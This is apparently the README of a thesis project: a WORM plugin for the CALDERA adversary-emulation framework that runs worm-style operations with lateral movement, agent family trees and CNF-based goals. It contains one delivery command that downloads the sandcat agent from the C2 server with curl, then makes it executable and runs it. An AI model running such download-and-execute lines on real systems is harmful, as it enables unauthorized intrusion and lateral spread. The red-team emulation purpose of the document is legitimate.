A CALDERA plugin to manage worm-operations and goals from a REST API and GUI.
This project is part of my thesis project at the University of Pisa, supervised by Professor Fabrizio Baiardi.
All the material in this repository can be used freely, provided that the author (me) and the University of Pisa are properly cited.
Note: this plugin could be fully integrated with the CALDERA core system and the CHAIN plugin -- for more information read the last section of this file.
1) To work properly, this plugin needs some extra features with respect to the basic CALDERA version. You can download the version with the features required by this branch. The two versions differs because of an extra property of the agents: the father.
2) Edit the plugins/sandcat/gocat/sandcat.go file in the same places as this PR
3) It is likely that the Sandcat agents' executables (sandcat.go-windows, sandcat.go-linux, sandcat.go-darwin, located in plugins/sandcat/payloads) will need to be recompiled for their proper functioning. Some useful information about it: wiki.
4) Download this plugin and insert it into CALDERA plugins folder.
5) Make sure you have inserted the WORM plugin in the CALDERA conf/local.yml configuration file:
plugins:
- worm
NOTE: If you are interested in using this plugin for the stable version 2.3.2 of CALDERA, download the version of the WORM plugin compatible with it from this branch.
This plugin introduces the following features:
It is possible to use these features both via REST API and GUI.
Using "normal" CALDERA operations with adversary profiles that perform lateral movements, some inconsistent or unwanted scenarios can occur. Examples:
These problems are due to two implementation choices: 1) the operations are mainly driven by the execution phase and then by the agents 2) for each agent, the links of all the phases up to now executed are generated -- not just the current one
for each phase {
for each agent {
generates all possible links from phase 1 to the current phase
}
}
Solution to the problems mentioned above: 1) new type of operation with a different logic --> worm-operation 2) new class of planners that generate links only for the current phase of the attack --> worm-planners
I describe this operation in terms of the differences with respect a normal CALDERA operation: 1) the basic logic: in this type of operation the agents execute the attack independently of each other - e.g. agent X can be in phase 1 while agent Y is in phase 4. The independence between agents also makes the execution of the entire attack - and the expansion in case of lateral movements - faster. 2) agent-map: the GUI can build a view of the 'agents family tree' and any 'orphan agents'. 3) goal: it is possible to define a goal for the attack that we perform (more details in the goal section). 4) goal-policy: if a goal is set, it is possible either to stop an agent when a goal-agent is reached or to continue the attack as long as it possible. 5) termination: a worm-operation ends for one of three reasons: all agents performed the entire attack, or the user manually stops the operation, or a goal-agent is reached and the user has chosen to stop as soon as one goal-agent is reached.
Furthermore:
The two last features may change in the future.
This new type of operation can be used for any type of adversary profile, even those that do not perform lateral movements! It's just a different logical approach to executing an adversary profile.
To build the 'agents family tree' we need to add - in the abilites that performs lateral movements - the father parameter to the delivery command for new agents. Example:
do curl -sk -X POST -H 'file:sandcat.go' -H 'platform:linux' #{server}/file/download > /tmp/sandcat-linux && chmod +x /tmp/sandcat-linux && /tmp/sandcat-linux -server #{server} -group #{group} -father #{paw};
(Note: if the father parameter is used correctly there should never be an orphan agent)
As with normal CALDERA operations, custom planners can also be used for worm-operations. To do this, just insert the relevant .yml file in the data/planners folder. Unlike planners for normal CALDERA operations - they only need to implement the execute function - the planners for worm operations has to implement the two following functions: 1) create_links: given a worm-operation and an agent, it generates all possible links for the next phase that the agent must execute. 2) create_cleanup_links: given a worm-operation and an agent, it generates the cleanup links for the phases executed by the agent.
It's the default planner for worm-operations: like its counterpart to normal CALDERA operations, it orders the generated links according to their score in descending order.
Goals are formulas in Conjunctive Normal Form (CNF): a conjunction of clauses, where the clauses are a disjunction of literals.
Every literal can be a condition:
A goal is achieved if at least ONE condition is satisfied for ALL the clauses.
An agent that satisfies the goal is called goal-agent.
Since the host-facts depend on the abilities, an adversary's profile is associated with each goal. Obviously distinct goals can be created for the same adversary profile.
It is possible to create goals either through the GUI or by loading the .yml file in the data/goals folder:
File .yml example:
id: 89da1673-184d-4509-a53a-e4a3b4a06c2e
name: find-file
description: specific file in linux agents
adversary: 1a98b8e6-18ce-4617-8cc5-e65a1a9d490e
clauses:
1:
- {name: platform, type: property, value: linux}
2:
- {name: host.file.sensitive, type: host-fact, value: /home/test.txt}
GUI example:
Even for worm-operations it is possible to download (and view by GUI) the report that summarizes the execution. With respect to those of normal CALDERA operations, now reports include some additional information:
After the end of a worm-operation, it is possible to see the list of the agents which participated and which of them are goal-agents.
It is also possible to:
The WORM plugin could be completely integrated with the CALDERA core system and the CHAIN plugin by: